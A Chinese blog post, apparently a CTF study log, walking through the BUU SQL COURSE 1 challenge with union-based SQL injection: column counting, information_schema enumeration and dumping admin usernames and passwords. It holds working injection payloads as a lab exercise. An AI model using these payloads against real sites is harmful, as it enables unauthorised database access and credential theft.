捡起ctf学习 day3 BUU SQL COURSE 1

发布时间 2023-10-30 12:27:47作者: cheif_!

一.BUU SQL COURSE 1

SQL注入

类型

字符型、数字型、搜索型

过程

F12找到了隐藏url,存在get请求传参

?id=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

1、判断是否存在注入、注入是字符型还是数字型

id=1 order by 1#

 id=1' order by 1#

 数字型

2、猜解sql查询语句中的字段数(确定select查出了几列,union前后查询的列数需要一致)

id=1 order by 2#

id=1 order by 3#

 说明select查出了两列

或者直接union select也可以判断

 

3、确定显示位置(确定在屏幕上显示的结果与select查询列的对应关系,因为某些网页可能会适当调整输出结果的排列顺序,更加美观,但是在注入前,我需要知道我想要获取到的结果会在哪里显示)

 

4、获取当前数据库名,获取表名,字段名,内容

由于information_schema这个库是mysql的四个基本系统库之一,它存储了mysql的库名、表名、字段名等信息。可以用information_schema来查询该库名下的所有表名。由于表可能不止是一个,那无法存储到一个字段中,就可以用group_concat来拼接,形成一个字符串来进行返回。

在information_schema数据库中还可以利用的表:

schema_name  储存了所有数据库的库名

table_schema      储存了数据库名

tables                储存了数据库库名,以及该库中包含的表名

table_name       储存了表名

columns     储存了所有字段名


0 union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
0 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin' and table_schema=database()#
0 union select group_concat(username),group_concat(password) from admin

 

 拿到密码,去登陆